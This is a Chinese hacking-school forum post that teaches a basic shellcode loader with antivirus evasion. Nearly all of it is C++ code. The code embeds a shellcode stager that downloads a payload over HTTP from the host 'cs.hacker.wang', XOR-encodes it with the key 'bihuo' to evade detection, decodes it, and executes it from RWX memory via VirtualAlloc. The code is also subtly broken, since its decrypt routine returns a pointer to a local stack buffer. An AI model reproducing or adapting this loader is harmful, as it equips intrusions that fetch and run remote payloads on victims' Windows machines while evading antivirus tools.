(二)shellcode 加载器及免杀基础 attach_img-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

(二)shellcode 加载器及免杀基础 attach_img

[复制链接]
发表于 2023-5-11 15:39:05 | 显示全部楼层 |阅读模式
简易免杀
[C++] 纯文本查看 复制代码
// tastgaetasda.cpp : Defines the entry point for the console application.
//

#include <windows.h>
#include <stdio.h>
#include <iostream>
using namespace std;
//char global_variable[801] = "";
//加密函数
void Encrypt()
{
    char encryptedShellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xe8\x03\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x36\x63\x79\x4a\x00\xe8\xda\xeb\x3f\x0f\xdf\x73\x5f\xea\x31\x7e\x4c\xa8\x57\x42\xf7\xf6\x5e\x04\x00\xba\xc5\xb9\x82\xf3\x8b\xee\x7a\x03\x0e\xee\x37\x88\xfc\xc5\xd3\x33\xc5\xf6\x67\xbe\x9d\xb4\x69\xeb\xfa\x63\x25\x09\x6f\x30\xb9\xed\xe9\x7f\x21\xcc\xdd\x7b\x43\xc5\xaa\xc1\x17\xe5\x66\x07\xa9\x75\xd0\x52\x12\xcf\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x53\x4c\x43\x43\x32\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\xce\x87\xf5\x42\xa9\x51\x45\xc3\xfe\x27\x9b\x4e\x9d\x07\x1d\x72\xb7\x87\x99\x62\xf8\xc8\x47\xe5\x0c\x52\x72\x94\x89\xcd\x0a\xe2\x8a\x1d\x44\x44\x29\xe1\x66\xfc\x5c\x1a\xe1\x4e\xc9\xb1\x68\xee\x49\x01\x50\x48\xad\x26\xd4\x37\xd1\xe2\x07\xe6\x47\xc0\x2b\x44\xb1\x98\x29\x91\xf5\x8c\x13\xd4\xde\xb8\x4b\xb9\x98\xb9\xc1\x42\x32\xde\xc0\x28\xb3\x55\xe1\xf2\xa7\xc3\xf2\x1a\x27\x21\x3f\xde\x67\xd5\x5f\x50\x3b\x3d\xb4\xdf\x71\xb5\x57\x0d\x39\xd2\xeb\xbc\x89\x87\xe0\x5e\x5a\x07\x77\xd1\xe9\x17\xd8\xa9\x6b\x68\xa4\x41\xc2\xe0\x9a\x54\x46\x7a\x30\x00\xbb\x77\xe6\x51\x90\x61\x9d\x61\x14\x28\x36\xc6\xb5\x15\x8c\xc9\xb4\xaf\xea\x91\x57\x1b\x31\xad\x8e\x13\xf2\x2d\xf6\x55\xa1\x2a\xc0\x75\x2a\x87\xef\x42\x06\x26\xad\x14\xf3\xcc\xe7\x0d\xb6\xd1\xb1\x26\xc7\x6a\x38\x95\xf6\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x63\x73\x2e\x68\x61\x63\x6b\x65\x72\x2e\x77\x61\x6e\x67\x00\x3a\xde\x68\xb1";

    char key[] = "bihuo";
    unsigned char shellcode[sizeof encryptedShellcode];
    //解密算法
    int j = 0;
    for (int i = 0; i < sizeof encryptedShellcode; i++) {
        encryptedShellcode[i]--;
        if (j == sizeof key - 1) {
            j = 0;
        }
        shellcode[i] = (encryptedShellcode[i] ^ key[j]);
        //printf("%02X ", shellcode[i]); //16进制输出,然后每个空格替换成\x就是加密后的shellcode
        j++;
    }
}

// 解密函数 
char*  decrypt() {
    char encryptedshellcode[] = "\x99\x8e\xe0\x8a\x90\x9d\x36\xe0\x91\x5f\xb3\x0a\xe2\x24\x40\xe8\x38\x63\xff\x3e\x71\xe3\x19\x52\x61\xd4\x20\x4d\x45\x91\x52\xd6\xc3\x4e\x0f\x19\x68\x43\x6a\xaf\xac\x65\x68\xb3\x8e\x8d\x38\x3e\xff\x3e\x6d\xe3\x29\x4e\x6f\xad\xe3\x57\x02\xeb\xdd\x1a\x21\x75\xa0\x2d\xe3\x2f\x62\xe5\x35\x76\x68\xa7\x8d\x59\x21\xe2\x46\xe5\x62\xbc\x58\x8b\x5f\xdd\xc2\xa8\xbb\x63\x62\xaf\x5f\xaa\x1b\x91\x6b\x14\x82\x55\x1e\x4a\x1c\x94\x38\xe8\x3e\x4b\x75\xbd\x07\xe3\x63\x3f\xe5\x35\x72\x68\xa7\xe5\x61\xe3\x68\xba\xe7\x21\x4a\x4b\x2f\x35\x02\x31\x31\x25\x91\xbd\x3e\x36\x2c\xe5\x73\x83\xed\x29\x08\x0f\x0d\x1b\x8a\x08\x14\x01\x05\x1d\x3c\x05\x22\x1e\x50\x69\x9c\xbd\x58\x8b\x39\x34\x3f\x3e\x23\x08\x5b\x3c\x10\xd3\x91\xb6\x81\xeb\x8a\x90\x9d\x33\x58\xbd\x3f\x32\x00\x6a\x25\x3f\x05\x8e\x6a\x8a\x90\x30\x26\x0f\x23\xe7\xfc\xac\x96\xa1\x85\x0d\x33\x58\xa4\x3e\x05\x96\x69\x4a\xec\x33\x38\x39\x27\x3e\x2d\x0e\x82\x21\x42\x58\x97\xbc\xfd\xaa\xe0\xab\x27\x45\x91\x34\x3f\x01\x8b\x3d\x37\x0e\x44\x70\x78\x18\x97\xbc\xf1\xd0\x6c\xea\xaa\x75\x90\x9d\x59\x96\xf1\x9a\x11\x6a\xe0\x8d\x85\x6a\x0e\xc1\xb1\x8e\x3e\x97\xbc\xfd\xaf\x05\x2d\x48\x28\x5f\x9c\xbd\x58\x8b\x39\x0b\x6f\x38\x20\x20\x05\xdf\x3e\xaa\x65\x9c\xbd\xd6\x8a\x41\x9d\x96\x50\xb3\x1c\xd4\x59\x96\x9d\xff\x62\x96\x97\x9d\xa7\x62\x96\x97\x92\xe5\x9c\x97\x96\x5b\x5a\x00\x11\x21\x8a\x88\xbb\x83\x56\x7b\xb1\x10\x37\x81\x45\x12\x29\xce\x3e\x34\x99\x97\x34\x6b\x8a\xd6\xa6\xd1\xe9\x87\xe5\x8f\x10\x6a\x78\x82\x54\xee\x93\xb1\xbd\x50\xad\x9d\x13\xd2\xfe\xda\x00\x9f\x96\x00\x4d\x60\x1b\x40\xda\x85\x80\x0b\x4f\xa9\xb5\x12\x37\xab\xcb\xa9\x7e\x91\x0a\x64\xc1\x1c\xba\x3e\x73\xa7\x97\x21\x1d\x06\x18\x44\x35\x09\x06\x04\x1b\x4c\x70\x2e\x07\x11\x1d\x04\x09\x09\x46\x46\x42\x4d\x76\x4f\x17\x01\x0e\x06\x08\x06\x07\x03\x02\x0c\x4f\x70\x2e\x3b\x20\x31\x70\x55\x44\x47\x4f\x70\x34\x01\x05\x16\x01\x14\x1b\x77\x38\x3c\x7d\x5c\x45\x45\x55\x7d\x3f\x26\x23\x5a\x51\x53\x77\x26\x1e\x0a\x0a\x0c\x18\x1c\x4c\x5a\x45\x5a\x55\x7d\x3b\x23\x37\x2d\x53\x53\x77\x58\x22\x26\x3a\x77\x37\x24\x33\x76\x59\x58\x40\x4f\x5d\x47\x43\x5e\x54\x41\x64\x7c\x90\xaf\xef\x9c\x34\xc7\x32\x2d\xaa\x88\x49\xf8\x24\xf4\x73\x73\x13\xdf\xee\xed\x0e\x95\xae\x2e\x91\x64\x33\x18\xfb\xfd\xa3\x6b\x88\xe1\x69\x2c\x21\x41\x88\x10\x94\x39\x70\x88\x38\xa7\xd2\x0e\x85\x3d\x6f\x2d\x2e\xc4\x50\xbc\x54\xb9\x89\x73\x8a\x24\xd6\x42\x36\xdf\xf5\x41\xf8\x81\xe4\x70\xba\xb5\xc2\x25\xda\xfe\xd0\xb5\x2e\x53\xb4\xd7\x52\xdd\x36\x89\x99\xd3\xad\x93\x70\x4e\x55\x51\xbf\x0f\xbc\x2b\x20\x58\x55\xdb\xab\x1f\xd6\x3f\x64\x4d\xbe\x88\xd2\xe0\xf3\xb0\x3f\x30\x6e\x03\xbf\x8a\x7f\xbf\xdd\x05\x05\xca\x28\xb4\xb0\xfb\x3a\x2d\x0c\x40\x9d\xd3\x1e\x90\x3f\xed\x09\xf4\x15\x7c\x45\x5c\xad\xc1\x7b\xe9\xa1\xdb\xdb\x86\xf2\x3f\x72\x45\xc3\xef\x7b\x99\x59\x9a\x36\xc9\x41\xca\x1b\x4b\xef\x86\x34\x6a\x47\xc5\x7b\x87\xa4\x84\x65\xdd\xa5\xdf\x47\xaf\x01\x42\xfb\x97\x96\x0f\x9a\xdb\xc3\x3c\x96\xa1\x06\x5d\x0e\x97\x7a\x90\x9d\x0e\x97\x8a\x50\x9d\x3f\x0f\x22\xcc\x30\x8d\x96\xa1\xfd\xda\x96\x97\x8a\x90\x62\xb1\x38\x27\xe7\x84\x3f\x0f\x8a\x70\x9d\x96\x3a\x20\x08\x73\xfc\xe0\x94\x91\xb6\xed\xd7\x06\xaa\xe8\x6f\x68\xb7\xeb\xdd\x1d\x8c\x22\xad\x85\xc1\x94\x8b\x91\x00\x1b\x45\x12\x0f\x00\x03\x0c\x04\x42\x14\x09\x05\x13\x90\x5b\xb4\x0f\xc5\x90";
    //char encryptedshellcode[] = "12345";
    //cout << sizeof(encryptedshellcode);

    char key[] = "bihuo";
    char shellcode[sizeof encryptedshellcode];
    //解密算法
    int j = 0;
    for (int i = 0; i < sizeof encryptedshellcode; i++) {
        if (j == sizeof key - 1) {
            j = 0;
        }
        shellcode[i] = (encryptedshellcode[i] ^ key[j]);
        shellcode[i]++;
        //printf("%02X ", shellcode[i]); //16进制输出,然后每个空格替换成\x就是加密后的shellcode
        j++;
    }
    return shellcode;
}

void main()
{
    
    //Encrypt();// 解密函数
    char * shellcode=decrypt();
    // 800 是paylaod的长度
    void* exec = VirtualAlloc(0, 800, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, 800);
    ((void(*)())exec)();
}

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表